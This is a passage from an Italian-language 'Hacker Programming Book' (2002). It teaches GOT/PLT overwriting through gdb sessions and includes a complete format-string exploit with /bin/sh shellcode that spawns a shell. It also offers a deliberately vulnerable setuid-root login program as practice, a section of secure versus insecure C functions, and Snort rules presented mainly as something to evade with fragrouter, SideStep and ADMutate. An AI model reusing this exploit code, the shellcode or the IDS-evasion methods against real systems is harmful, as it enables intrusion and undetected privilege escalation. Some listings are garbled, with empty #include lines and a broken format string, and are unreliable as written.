(gdb) break main
Breakpoint 1 at 0x8048442: file boh.c, line 13.
(gdb) run
Starting program: /home/nail/./boh
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.

Breakpoint 1, main () at boh.c:13
13              *got = (long int)food;
(gdb) x 0x8049550

0x8049550 <_GLOBAL_OFFSET_TABLE_+28>:             0x08048342

(gdb) disass exit
Dump of assembler code for function exit:
0x4003c79c :      push   %ebp
0x4003c79d :    mov    %esp,%ebp
[...]

Prima di eseguire l’assegnazione gdb chiama la funzione nella PLT e solo successivamente
disassembla il codice di exit.
Eseguiamo ora una sostituzione d’indirizzo.

(gdb) n
14              exit(0);
(gdb) disass exit
Dump of assembler code for function exit:
0x4003c79c :      push   %ebp



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

0x4003c79d :          mov        %esp,%ebp
[...]

Andiamo a vedere la modifica.

(gdb) x 0x8049550
0x8049550 <_GLOBAL_OFFSET_TABLE_+28>:                   0x08048420

Proviamo a lanciare il programma.

$ ./boh
Sono dentro alla funzione food

Quando viene chiamata la funzione exit(), il programma cerca l'entry per la rilocazione nella
GOT, trova la locazione 0x08049560 che corrisponde alla funzione cercata, e quindi
successivamente salta all'indirizzo contenuto in quella locazione.
Come nell’esempio che avevamo visto all’inizio la sostituzione dell’indirizzo fa in modo chre il
programma salti alla funzione food invece che all'entry nella PLT che gestisce la exit().
Per chi ha un pochino di familiarita' con gli overflow e' molto semplice sfruttare la GOT per
fare in modo che il programma esegua iul ritorno sull’indirizzo da noi voluto.
Mettiamo il caso che vogliamo deviare la printf, prendiamo la locazione nella GOT dove c'e'
l'indirizzo della printf e lo overwritiamo con l'indirizzo dello shellcode.
Solitamente l'unico problema sta nell'indirizzare il programma a scrivere lì poiche' si tratta di
una zona di memoria precedente l'heap e che quindi non può essere raggiunta dall’heap.
Un modo puo' essere utilizzare i format bug, un altro la tecnica del doppio overflow (stack +
heap).

Format GOT bugs

<-| gotplt/fmt.c |->
#include
#include

void work(char *s)
{
        printf(s);
        exit(0);
}
int main() {
        char buf[2048];
        printf("buf is located @ %p\n", buf);
        fgets(buf,sizeof(buf), stdin);
        buf[strlen(buf)-1] = 0; /* strip \n */
        work(buf);
}
<-X->

Come vedete un semplice format buffer overflow non funzionerebbe.
Fatta la printf, si modificherebbe il ret della work() che pero' non verrebbe mai raggiunto
poiche' la exit() terminerebbe forzatamente il programma.
L'unico modo e' sostiuire la exit con il nostro shellcode *g*.
Per di piu' abbiamo solo l'imbarazzo della scelta: possiamo usare sia la GOT stessa per
infilare lo shellcode, oppure infilarlo in 'buf'.
Gia' che abbiamo anche l'indirizzo, possiamo metterlo in buf.
Il nostro buffer deve quindi contenere lo shellcode e andare a scrivere nella GOT l'indirizzo
dello stesso.
Innanzitutto prendiamoci l'indirizzo della exit:

$ objdump -R ./fmt
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE


Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

080495c4     R_386_GLOB_DAT            __gmon_start__
08049668     R_386_COPY                stdin
080495ac     R_386_JUMP_SLOT           __register_frame_info
080495b0     R_386_JUMP_SLOT           __deregister_frame_info
080495b4     R_386_JUMP_SLOT           fgets
080495b8     R_386_JUMP_SLOT           __libc_start_main
080495bc     R_386_JUMP_SLOT           printf
080495c0     R_386_JUMP_SLOT           exit

Ci sono moltissimi modi per fare la format string.
Ho scelto quello piu' classico e diffuso: scrivere i bytes in modo incrementale:

<\xeb\x08>%$n
<\xeb\x08>%$n<\xeb\x08>
%$n<\xeb\x08>%$n

ADDR e' l'indirizzo a cui dobbiamo andare a scrivere (0x08049590).
Per chi non lo sapesse, \xeb\x08 e' un jump relativo 8 byte piu' avanti.
Questo permette di andare a prendere in uno qualsiasi dei nop e saltare i %n (a meno che
non si sia sfigati assai e si cada direttamente sul %n.
Utilizzando %num$x si prende il num-esimo elemento nello stack.

$ ./fmt
buf is located @ 0xbffff1d8

Per cui diciamo che possiamo scrivere 0xbffff1e2 tranquillamente.
Ora cerchiamo la format string all'interno dello stack:

$ ./fmt
buf is located @ 0xbffff1d8
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
%pAAAA0x400137500xbffff9d80x80484c20xbffff7d80x2000xbffff9d80x80484ce0xbffff
7d80xbffff7d80x400131540x400002300x401009b40xbffffa140x2(nil)0x400013100x2c8
0x41414141

Per cui distanza = 18.

A questo punto abbiamo tutti i dati per costruire il nostro exploit.

<-| gotplt/got.c |->
#include
#include
#include
char linuxsc[] = /* just aleph1's old shellcode (linux x86) */
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
      "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
      "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int num(int n)
{
        if(n < 10) return 1;
        if(n < 100) return 2;
        if(n < 1000) return 3;
}
int
main(int argc, char **argv)
{
        char a[256],b[256],c[256],d[400], buf[1024];
        long int what, where;
        int what0, what1, what2, what3, dist;

          bzero(a, sizeof(a));
          bzero(b, sizeof(b));
          bzero(c, sizeof(c));



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

          bzero(d, sizeof(d));
          bzero(buf, sizeof(buf));

          if(argc != 4)
          {
                  printf("Usage: %s             \n",argv[0]);
                  exit(0);
          }

          /* recuperiamo i nostri indirizzi */
          /* what e' cosa va scritto, where dove :) */
          sscanf(argv[1], "%lx", &what);
          sscanf(argv[2], "%lx", &where);
          dist = atoi(argv[3]);

          /* dividiamo l'indirizzo */
          what0 = (what & 0xff);
          what1 = (what >> 8) & 0xff;
          what2 = (what >> 16) & 0xff;
          what3 = (what >> 24) & 0xff;

          /* riempiamo un buffer per ogni byte da scrivere */
          memset(a, '\x90',what0 - 2 - 16);
          sprintf(a+strlen(a), "\xeb\x08%%%d$n", dist);
          memset(b, '\x90',what1 - what0 - 2);
          sprintf(b+strlen(b), "\xeb\x08%%%d$n", dist+1);
          memset(c, '\x90',what2 - what1 - 2);
          sprintf(c+strlen(c), "\xeb\x08%%%d$n", dist+2);
          memset(d, '\x90',0x100 + what3 - what2 - 2);
          sprintf(d+strlen(d), "\xeb%c%%%d$n", num(dist)+3, dist+3);
          /* questo e' difficile :) il salto dev'essere preciso
             in modo da beccare in pieno lo shellcode.
             si poteva anche semplicemente mettere ancora qualche NOP
             ma odio le cose semplici :P */

          /* inseriamo i 4 indirizzi */
          *(long int *)buf     = where;
          *(long int *)(buf+4) = where+1;
          *(long int *)(buf+8) = where+2;
          *(long int *)(buf+12)= where+3;
          /* tutto il resto e lo shellcode */
          sprintf(buf+16, "%s%s%s%s%s",
                  a,b,c,d,linuxsc);

          /* printiamo */
          printf("%s\n", buf);
          return 0;
}
<-X->

$ (./got 0xbffff223 0x080495c0 18 ; cat - ) | ./fmt
buf is located @ 0xbffff1d8
id
uid=1000(nail) gid=100(users) groups=100(users),3(sys)

Risultato: la exit() e' diventata il nostro shellcode

Doppio overflow (stack+got)

Questo e' un metodo un po' particolare... anzi penso che piu' che un metodo sia un trucchetto
molto carino.
Infatti per essere attuato richiede ben precise condizioni.
In poche parole, si tratta di overwritare un puntatore nello stack in modo che una successiva
lettura porti a scrivere nella GOT.
Esempio:




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

char *msg;
char buf[256];
[...]
msg = malloc(2048);
strcpy(buf, argv[1]);
fgets(msg, 2048, stdin);

Con la strcpy possiamo sovrascrivere l'indirizzo di msg con quello che ci serve (l'indirizzo a
cui dovremmo scrivere all'interno della GOT).
Con la fgets poi inseriremo nella GOT tutto quello che ci serve.
Ovviamente perche' tutto cio' accada bisogna che:

a) il puntatore sia raggiungibile nello stack dal primo buffer;
b) il puntatore non venga modificato tra lo stack overflow e la scrittura
   all'interno della GOT (se la malloc fosse stata dopo la strcpy sarebbe
   stato impossibile);
c) il puntatore sia ovviamente a nostra disposizione per inserire dati.


Qui sotto potete trovare un programma abbastanza semplice su cui fare esercizio.

<-| gotplt/proggie.c |->
/* ovviamente:
   # gcc -o proggie proggie.c -lcrypt
   # chown root ./proggie
   # chmod 4755 ./proggie
   # su - user
   $ vi exploit.c
*/

#include
#include
#include
#include
#include
#include

char *
scheck(char *u)
{
        struct spwd *s;

           s = getspnam(u);
           if(!s)
                   return NULL;
           return s->sp_pwdp;
}


int check(char *u, char *pwd)
{
        struct passwd *p;
        char *cpwd;

           p = getpwnam(u);
           if(!p)
                   return 0;
           if(strlen(p->pw_passwd)==1)
                   p->pw_passwd = scheck(u);
           if(!p->pw_passwd)
                   return 0;
           cpwd = (char *)crypt(pwd, p->pw_passwd);
           if(strcmp(cpwd, p->pw_passwd))
                   return 0;
           p = getpwnam("nobody");
           return p->pw_uid;



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

}

main()
{
          long int count = 0;
          int id;
          char *passwd = NULL;
          char prompt[200];
          char user[256];

          printf("Insert your password length: ");
          fflush(stdout);
          fgets(user, sizeof(user), stdin);
          user[strlen(user)-1] = 0;
          count = atoi(user)+2; /* to get \n and \0 */
          passwd = (char *)malloc(count+1);

          printf("Insert your username: ");
          fflush(stdout);
          fgets(user, sizeof(user), stdin);
          user[strlen(user)-1] = 0;
          sprintf(prompt, "Insert password for localhost:%s", user);
          printf("%s: ", prompt);

          if(count > 16)
          {
                   printf("Your password is too long.\n");
                   exit(0);
          }
          fgets(passwd, count, stdin);
          passwd[strlen(passwd)-1] = 0;
          if((id = check(user, passwd)))    {
                   printf("You are logged in!!!\n");
                   setuid(id);
                   system("/bin/sh -i");
                   exit(0);
          } else
                   printf("Error.\n");

}
<-X->



Metodi di programmazione per evitare i buffer overflow
Vedremo in questa parte le metodologie di programmazione legate all’uso delle normali
funzioni di libreria del linguaggio C.

strcpy(destinazione, sorgente)

Copia una stringa sorgente dentro ad una destinazione.
La funzione controlla nella stringa sorgente il carattere di fine sringa ‘\0’ e fino a quel punto
continua a copiare carattere dopo carattere dentro al buffer di destinazione.
L’algoritmo potrebbe essere :

char *source, *dest;
while(*dest++ = *source++) ;

Corretto                                         Non corretto
void funzione(char *str) {                       void funzione(char *str) {
  char buffer[256];                                char buffer[256];
  strncpy(buffer, str, sizeof(buffer)-1);          strcpy(buffer, str);
  buffer{sizeof(buffer)-1] = 0;                  }
}




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

strcat(destinazione, sorgente)

Accoda a destinazione il buffer sorgente.
L’algoritmo potrebbe essere quello che segue :

char *source, *dest;
while(*dest++);
while(*dest++ = *source++);

Corretto                                         Non corretto
void funzione(char *str) {                       void funzione(char *str) {
  char buffer[256];                                char buffer[256];
  strncat(buffer, str, sizeof(buffer)-1-           strcat(buffer, str);
strlen(buffer));                                 }
  buffer{sizeof(buffer)-1] = 0;
}



sprintf(buffer, “stringa formattazione”, variabili);

Esegue la stampa dentro ad un buffer di una serie di variabili usando la sringa
di formattazione la quale usa gli stessi formati di printf().
Corretto                                         Non corretto
void funzione(char *str) {                       void funzione(char *str) {
  char buffer[256];                                char buffer[256];
  snprintf(buffer, sizeof(buffer)-1, “%s”,         sprintf(buffer, “%s”, str);
str);                                            }
}


gets(stringa)
Legge da tastiera una stringa e la assegna a stringa.

Corretto                                         Non corretto
void funzione() {                                void funzione() {
  char buffer[256];                                char buffer[256];
  fgets(buffer, sizeof(buffer)-1, stdin);          gets(buffer);
}                                                }

scanf(“stringa for,mattazione”, variabili)
sscanf(buffer, “stringa formattazione”, variabili);
fscanf(handle, “stringa formattazione”, variabili);

Le funzioni leggono un input da diverse sorgenti (tastiera, buffer, file) usando una stringa di
formattazione e assegnano i valori letti alle variabili.

Corretto                                         Non corretto
void funzione() {                                void funzione() {
  char buffer[256];                                char buffer[256];
  int num;                                         int num;
  num = fscanf(stdin, “%255s”, buffer);            num = fscanf(stdin, “%s”, buffer);
}                                                }



memcpy(destinazione, sorgente, dimensione)

Copia da sorgente a destinazione byte a byte per la mlunghezza specificata.

Corretto                                         Non corretto
void funzione(char *sorgente) {                  void funzione(char *sorgente) {
  char buffer[256];                                char buffer[256];
  if(strlen(sorgente) > 255)                       memcpy(buffer, sorgente,
     return;                                     strlen(sorgente));




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

  memcpy(buffer, sorgente,                  }
strlen(sorgente));
}

I programmi che svologono alcune funzioni particolari devono inoltre avere certi tipi di
accorgimenti.
Prendiamo ad esempio il problema della validazione dei DNS.
Il metodo che segue risulta essere non corretto.

int validate(u_int32_t ipaddr, char *hostname)
{
    struct inaddr ia;
    struct hostent *he;

    memset(&ia, 0, sizeof(ia));
    ia.s_addr = ipaddr;

    he = gethostbyaddr(&ia, sizeof(ia), AF_INET);
    if (!he)
        return 0;

    if (!he->h_name)
        return 0;

    if (!strcmp(he->h_name, hostname))
        return 1;

    return 0;
}


Il sorgente corretto è invece :
int validate(u_int32_t ipaddr, char *hostname)
{
    struct inaddr ia;
    struct hostent *he;
    int count;

    memset(&ia, 0, sizeof(ia));
    ia.s_addr = ipaddr;

    he = gethostbyaddr(&ia, sizeof(ia), AF_INET);
    if (!he)
        return 0;

    if (!he->h_name)
        return 0;

    if (strcmp(he->h_name, hostname))
        return 0;

    he = gethostbyname(hostname);
    if (!he)
        return 0;

    for (count = 0; he->h_addr_list[count]; count++)
        if (!memcmp(&ipaddr, he->h_addr_list[count], 4)
            return 1;

    return 0;
}


Anche il settore della vaildazione dei dati inseriti da utenti esistono metodi
corretti e metodi invece che possono generare problemi.

#define BAD "/ ;[]<>&\t"



char *query()
{



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

    char *user_data, *cp;

    /* Get the data */

    user_data = getenv("QUERY_STRING");

    /* Remove bad characters */

    for (cp = user_data; *(cp += strcspn(cp, BAD)); )
        *cp = '_';

    return user_data;
}



Il sistema coretto è invece :

#define OK   "abcdefghijklmnopqrstuvwxyz\
               BCDEFGHIJKLMNOPQRSTUVWXYZ\
               1234567890_-.@";

char *query()
{
    char *user_data, *cp;

    /* Get the data */

    user_data = getenv("QUERY_STRING");

    /* Remove all but good characters */

    for (cp = user_data; *(cp += strspn(cp, OK));)
        *cp = '_';

    return user_data;
}




I sistemi IDS e metodi di elusione
I sistemi informativi, sia collegati a intranet che ad internet, sono generalmente obbiettivi di
attacchi informatici di tutti i tipi ed indirizzati a qualsiasi scopo.
Non pensiate che l’hacker esterno che manovra in fili di un attacco da un recondito angolo
buio della rete sia di fatto il maggiore pericolo per una rete aziendale.
Gli attaccanti possono essere da qualsiasi parte ed in particolar modo in mezzo ai dipendenti
della aziende stesse delle qali sono i network.
Su queste reti ci sono dati di tutti i tipi comprese informazioni che sono considerate private e
spesso soggette a segreto da cui potrebbero dipendere gli esiti delle aziende stesse.
Per questo motivo tra i dogmi della security, sul mio sito http://www.bernardotti.al.it, ho
riportato quello secondo il quale la sicurezza non è una spesa ma un investimento.
Controllare una piccola rete è relativamente semplice.
Dico relativamente in quanto intendo dire ‘controllare e farlo bene’ e non solo ‘controllare alla
spera in Dio’.
In pratica le attività svolte da questa vengono tenute su dei files di LOG i quali se messi su
machine sicure possono essere utili per individuare non solo frodi già eseguite ma anche
tentativi in atto.
Prendiamo il classico esempio dei tentivi combinatori legati all’individuazione di una pasword.
Il file di og conterrà infinità di righe legate ai vari tentativi.
Fate attenzione che qualsiasi attività potrebbe lasciare il file di log e questi potrebbero essere
su sistemi non accessibili come ad esempio qui da me in WEBSITEK.COM.
In questo caso possediamo una macchina che funziona da fortezza LOGS e sulla quale gira
un sistema IDS, precisamente NFR per ambiente Unix.
Ma come funzionano questi tipi di programmi.
Uno di questi deriva da un sistema di SNIFFER e questo potrebbe fare capire che alcuni di
questi di fatto funzionano come questo tipo di programmi.
In altre parole, per introdurre l’idea, pensate a cosa fa lo sniffer.



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Questo si collega ad un certo segmento di rete analizzando tutti i pacchetti che passano su
questo.
Ma di fatto gli attacchi cosa sono e come vengono eseguiti ?
In ogni caso sono sempre stringhe di comandi che vengono indirizzati verso a qualche
software particolare come ad esempio quello di gestione di un server http.
Il sistema IDS intercetta il traffico e quindi ricerca dentro ai vari pacchetti quelli che
contengono ‘riferimenti’ a attacchi pericolosi per la rete.
Un sistema che di fatto è in grado di vedere i pacchetti che passano su una rete può
facilmente anche essere utilizzato per confrontrare i contenuti dei pacchetti con quelli reperiti
da un database.
Prendiamo ad esempio uno sniffer come SNORT.
Questo è basato sulla libreria di capture dei pacchetti libcap.
Si tratta di un pacchetto lanciato da linea di comando anche se la versione Windows possiede
anche un interfaccia di comando e controllo in modalità grafica.
Questa è esattamente quella che segue:




La linea di comando standard è :

./snort -v

ma è possibile specificare i percorsi di dove salvare i logs.

./snort -dev -l ./log

La specifica dell’IP su cui eseguire lo sniffing :

./snort -dev -l ./log -h 192.168.1.0/24

Snort possiede anche on file snort.conf con dentro la configurazione.
Mediante la linea di comando è possibile specificare il file di configurazione.

./snort -dev -l ./log -h 192.168.1.0/24 -c snort.conf




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

Il sistema di analisi permette di creare delle regole che verranno utilizzate per le ricerche
dentro ai pacchetti.
Una linea con dentro una regole potrebbe essere :

alert tcp any any -> 192.168.1.0/24 111 (content:"|00 01 86 a5|"; \
msg: "mountd access";)

Snort possiede un sistema complesso finalizzato alla scrittura di tali regole tanto da
comprendere anche l’uso di variabili.

var MY_NET $(MY_NET:-192.168.1.0/24)
log tcp any any -> $(MY_NET:?MY_NET is undefined!) 23

Quando si inastala il pacchetto vengono inserite dentro alle directory di setup anche un certo
numero con delle regole di base.

28/10/2001       17.52                    1.433    attack-responses.rules
01/11/2001       18.03                   21.823    backdoor.rules
01/11/2001       18.03                    1.434    bad-traffic.rules
28/10/2001       17.52                    5.849    ddos.rules
28/10/2001       17.52                    3.277    dns.rules
05/11/2001       20.05                    3.141    dos.rules
19/11/2001       17.17                   10.027    exploit.rules
28/10/2001       17.52                    2.664    finger.rules
28/10/2001       17.52                    6.139    ftp.rules
01/11/2001       18.03                   16.040    icmp-info.rules
01/11/2001       18.03                    4.301    icmp.rules
28/10/2001       17.52                    1.311    info.rules
28/10/2001       17.55                       59    local.rules
28/10/2001       17.52                    3.615    misc.rules
28/10/2001       17.52                    3.150    netbios.rules
28/10/2001       17.52                    5.415    policy.rules
28/10/2001       17.52                    1.880    porn.rules
28/10/2001       17.52                   11.873    rpc.rules
28/10/2001       17.52                    2.445    rservices.rules
28/10/2001       17.52                    4.569    scan.rules
28/10/2001       17.52                    3.521    shellcode.rules
28/10/2001       17.52                    4.098    smtp.rules
28/10/2001       17.52                    9.101    sql.rules
28/10/2001       17.52                    2.827    telnet.rules
28/10/2001       17.52                    1.140    tftp.rules
02/11/2001       08.21                   14.927    virus.rules
02/11/2001       08.00                    9.162    web-attacks.rules
28/10/2001       17.52                   20.151    web-cgi.rules
28/10/2001       17.52                    7.677    web-coldfusion.rules
28/10/2001       17.52                    7.869    web-frontpage.rules
28/10/2001       17.52                   17.924    web-iis.rules
19/11/2001       17.17                   40.920    web-misc.rules
28/10/2001       17.52                      685    x11.rules

Come avrete notato i nomi dei files specificano il sistema di filtraggio inserito dentro a quelle
regole a cosa si riferiscono.
Prendiamo il file che contiene il filtraggio dei comandi netbios.

# (C) Copyright 2001, Martin Roesch, Brian Caswell, et al. All rights reserved.
# $Id: netbios.rules,v 1.12 2001/10/29 01:52:54 roesch Exp $
#--------------
# NETBIOS RULES
#--------------

alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda .eml"; content:"|00|
E|00|M|00|L"; flags:A+; classtype:bad-unknown; reference:url,www.datafellows.com/v-
descs/nimda.shtml; sid:1293; rev:2;)



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda .nws"; content:"|00|
N|00|W|00|S"; flags:A+; classtype:bad-unknown; reference:url,www.datafellows.com/v-
descs/nimda.shtml; sid:1294; rev:2;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS nimda RICHED20.DLL";
content:"R|00|I|00|C|00|H|00|E|00|D|00|2|00|0"; flags:A+; classtype:bad-unknown;
reference:url,www.datafellows.com/v-descs/nimda.shtml; sid:1295; rev:2;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS DOS RFPoison"; flags: A+;
content: "|5C 00 5C 00 2A 00 53 00 4D 00 42 00 53 00 45 00 52 00 56 00 45 00 52 00 00
00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 FF FF FF FF 00 00 00
00|";reference:arachnids,454; classtype:attempted-dos; sid:529; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS NT NULL session"; flags:
A+; content: "|00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4E 00 54 00
20 00 31 00 33 00 38 00 31|"; reference:bugtraq,1163; reference:cve,CVE-2000-0347;
reference:arachnids,204; classtype:attempted-recon; sid:530; rev:3;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS RFParalyze Attempt"; flags:
A+; content:"BEAVIS"; content:"yep yep"; classtype:attempted-recon; sid:1239; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ADMIN$access";flags:
A+; content:"\\ADMIN$|00 41 3a 00|"; reference:arachnids,340; classtype:attempted-
admin; sid:532; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB C$ access"; flags: A+;
content: "|5c|C$|00 41 3a 00|";reference:arachnids,339; classtype:attempted-recon;
sid:533; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CD..";flags: A+;
content:"\\..|2f 00 00 00|"; reference:arachnids,338; classtype:attempted-recon;
sid:534; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CD...";flags: A+;
content:"\\...|00 00 00|"; reference:arachnids,337; classtype:attempted-recon;
sid:535; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB D$access";flags: A+;
content:"\\D$|00 41 3a 00|"; reference:arachnids,336; classtype:attempted-recon;
sid:536; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IPC$access";flags: A+;
content:"\\IPC$|00 41 3a 00|"; reference:arachnids,335; classtype:attempted-recon;
sid:537; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IPC$access";flags: A+;
content:"|5c00|I|00|P|00|C|00|$|000000|IPC|00|"; reference:arachnids,334;
classtype:attempted-recon; sid:538; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS Samba clientaccess";flags:
A+; content:"|00|Unix|00|Samba"; reference:arachnids,341; classtype:not-suspicious;
sid:539; rev:1;)

Andando sulla rete troverete librerie immense di regole da utilizare con la vostra installazione
anche se di fatto il nostro interesse nei confronti di questi sistemi è esattamente il contrario
ovvero come evadere I sistemi IDS.
Nei capitoli precedenti abbiamo ad esempio parlato di sistemi di buffer overflow.
Come d’altra parte anche le altre cose, questa metodologia potrebbe essere particolarmente
complessa, se non impossibile, nel caso in cui si cerchi di eseguire l’attacco verso un sistema
che dspone di un IDS.
Sistemi IDS come NFR possiedono una complessità notevole e richiedono un sistema
dedicato, oltre a costi esorbitanti.
Chiaramente l’efficacia di un sistema IDS dipende in particolar modo dalle dimensioni del
database contenente gli identificatori degli attacchi e dal metodo di aggiornamento di questi.
L’uso di sistemi dedicati dventa necessario per due motivi.
Pensate al fatto che un sistema software intercetta I pacchetti che passano su una rete e
confrontano I dati contenuti dentro a questi eseguendo dei confronti su moli di dati che
possono essere anche di grosse dimensioni.
L’uso di una di questi pacchetti su un sistema che svolge anche altri compiti potrebbe
intaccare le prestazioni del sistema stesso.
Ma come è possibile evadere l’intercettazione dei sistemi IDS ?
Sembra stupido ma uno dei metodi migliori per eludere un IDS è utilizzare un sistema di
attacco che non sia registrato nel database di questo.
Un altro metodo è quello legato alla frammentazione dei pacchetti.
Prendiamo ad esempio FRAGROUTER.
Questo pacchetto, prelevabile da

http:://www.anzen.com/research/nidsbench




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

possiede 35 metodi differenti per spezzare e tagliare I pacchetti di dati in modo da cercare di
evitare che il sistema IDS riesca ad identificare le stringhe dalle quali verrebbero rilevati gli
identificativi degli attacchi.
La bellezza di FRAGROUTER è che questo separa le funzionalità di un attacco da quelle
delle frammentazione.
Come dice il suo nome di fatto il software è un ROUTER.
L’attaccante sceglie un certo pacchetto da usare nell’attacco il quale potrebbe generare un
certo numero di pacchetti.
Questi verrebbero inviati verso FRAGROUTER il quale gli applicherebbe uno dei 35 metodi e
successivamente li dirigerebbe vero al sistema di destinazione.
La sintasi è :

fragrouter - network intrusion detection evasion toolkit
Synopsis

fragrouter [ -i interface ] [ -p ] [ ATTACK ] host
Description
Fragrouter is a program for routing network traffic in such a way as
to elude most network intrusion detection systems.
The attacks implemented correspond to those listed in the Secure
Networks ``Insertion, Evasion, and Denial of Service: Eluding Network
Intrusion Detection'' paper of January, 1998.
Options
-i
Specify the interface to accept packets on.
-p
Preserve the entire protocol header in the first fragment. This is
enabled by default on Linux, which doesn't allow sending of short
fragments.

The following attack options are mutually exclusive - you may only
specify one type of attack to run at a time.

-B1
baseline-1 : Normal IP forwarding.
-F1
frag-1 : Send data in ordered 8-byte IP fragments.
-F2
frag-2 : Send data in ordered 24-byte IP fragments.
-F3
frag-3 : Send data in ordered 8-byte IP fragments, with one fragment
sent out of order.
-F4
frag-4 : Send data in ordered 8-byte IP fragments, duplicating the
penultimate fragment in each packet.
-F5
frag-5 : Send data in out of order 8-byte IP fragments, duplicating
the penultimate fragment in each packet.
-F6
frag-6 : Send data in ordered 8-byte IP fragments, sending the marked
last fragment first.
-F7
frag-7 : Send data in ordered 16-byte IP fragments, preceding each
fragment with an 8-byte null data fragment that overlaps the latter
half of it. This amounts to the forward-overlapping 16-byte fragment
rewriting the null data back to the real attack.

Un software che utilizza una metodologia completamente differente per eludere i sistemi IDS
è SIDESTEP.
Il programma è scaricabile da :



Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book




http://www.robertgraham.com/tmp/sidestep.exe


Si tratta di un programma lanciabile da linea di comando :

c:\>sidestep
SideStep v1.0 Copyright (c) 2000 by Network ICE
http://www.robertgraham.com/tmp/sidestep.html
usage:
 sidestep <target> [<options>]
Sends attacks at the target that evades an IDS.
One of the following protocols/attacks must be specified:
 -rpc    RPC PortMap DUMP
 -ftp    FTP CD ~root
 -dns    DNS version.bind query
 -snmp   SNMP lanman user enum
 -http   /cgi-bin/phf
 -bo     BackOrifice ping
 -all
One of three modes must be specified:
 -norm       Does no evasion (normal attacks)
 -evade      Attempts to attack target evading the IDS
 -false      Does not attack the system at all (false positive)
Example:
 sidestep 10.0.0.1 -evade -dns
 Queries DNS server for version info evading IDS

Un pacchetto particolare che viene utilizzato nell’ambito delle evasioni dai sistemi IDS è
ADMUTATE.
I metodi generalmente usati dai sistemi IDS per l’identificazione degli attacchi sono :

* Signature analysis
* Protocol analysis
* Traffic pattern statistics

Prendiamo ad esempio i metodi per eludere, con un sistema di buffer overflow, l’occhio
attento di un istema IDS.
ADMutate accetta come input un exploit basato su di un buffer overflow.
Il tool modifica l’exploit utilizzando un sistema usato anche dai virus chiamato polimorfismo.
In altre parole ADMutate modifica il buffer overflow fino a creare un nuovo exploit che di fatto
non possiede gli deintificatori che potrebbero essere intercettati da un sistema IDS.
Ma come fa a creare una versione polimorfica dell’exploit relativo ad un buffer overflow ?
Vi ricordate che un buffer overflow consiste di fatto in tre componeti principali ?
Il primo componente è la sequenza di NOP che permette al sistema di saltare come
esecuzione in un punto che non crei problemi.
Il secondo componente è il codice assembler che deve esser eseguito.
Il terzo è il puntatore di salto.
ADMutate altera ciascuno di questi tre componenti al fine di creare un set di istruzioni
differenti che facciano alla fine la stessa cosa.
Per quello che riguarda i NOP non fa altro che sostituire con istruzioni nulle ovvero che non
facciano in pratica nulla come ad esempio muovere avanti e indietro i valori da un registro.
Ad esempio mete istruzioni del tipo :

MOV EAX, 1
MOV EBX., EAX
MOV EBX, 1




Copyright 2002 Flavio Bernardotti – Tel. (39) 380 7097051
Hacker Programming Book

In pratica queste istruzioni non fanno nulla ma di fatto la stringa derivata non corrisponde con
quelle ricercate dal sistema IDS.
ADMutate possiede un set di isruzioni possibili per la sostituzione dei NOP.
Per quello che riguarda il codice da eseguire ADMutate utilizza una semplicissima fnzione per
alterare il codice macchina.
ADMutate applica una fnzione XOR al codice per combinare questo con delle chiavi generate
in modo random.
L‘output di questo processo è grappolo di un linguaggio incomprensibile che essendo
generato in kmod random non può essere intercettato.
Chiaramente ADMutate aggiunge anche il piccolissimo meccanismo per la decodifica il quale
di fatto è invece in formato comprensibile dal processore del sistema vittima.
IN questo modo i compoenti di un buffer overflow diventano quattro.
Ad ogni modo ADMutate deve essere sicuro che quello che ha generato di fatto non venga
intercettato dal sistema IDS.


links relativi a IDS

fragrouter - Fragmenting packets to evade IDS.
OS: Unix
